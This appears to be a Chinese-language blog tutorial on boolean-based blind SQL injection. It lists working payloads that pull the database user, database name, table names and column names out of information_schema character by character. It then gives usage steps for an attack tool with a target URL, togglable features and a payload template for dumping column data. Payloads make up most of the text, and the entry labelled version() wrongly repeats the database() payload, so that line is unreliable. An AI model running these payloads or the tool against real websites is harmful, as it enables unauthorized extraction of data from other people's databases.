一个基于布尔盲注的脚本编写实例
前置知识
判断user长度
-1 OR if((length(user())=14),1,0)
查user()
-1 OR if(ascii(substr(user(),1,1))=114,1,0)
查database()
-1 OR if(ascii(substr(database(),1,1))=114,1,0)
查version()
-1 OR if(ascii(substr(database(),1,1))=114,1,0)
查表的数量
-1 or (select count(table_name) from information_schema.tables where table_schema=database())>0;
查表名的长度
-1 or (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0
查表名
-1 or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=97;
查列名的长度
-1 or (select length(column_name) from information_schema.columns where table_name=table_name limit 0,1)>0
查列名
-1 or ascii(substr((select column_name from information_schema.columns where table_name=table_name limit 0,1),1,1))=97;
布尔盲注工具
代码地址
使用方法
1>第一处
1 | #Target URL |
将代码开头的URL和keyword修改,这里要注意一下,建议存在注入的参数别写值,payload会自动补全
2>第二处:需要使用什么功能就把什么功能的代码注释取消即可,至于该改的table_name,column_name自己改一下
1 | info = Info() |
3>爆列中数据的时候,列名请填写两个,在程序写死了,如果需要多个列名请修改第334行代码:
e.g.三个列
1 | payload = "-1 or ascii(substr((select concat(%s,0x7c,%s,0x7c,%s) from %s limit %s,1),%s,1))=%s" \ |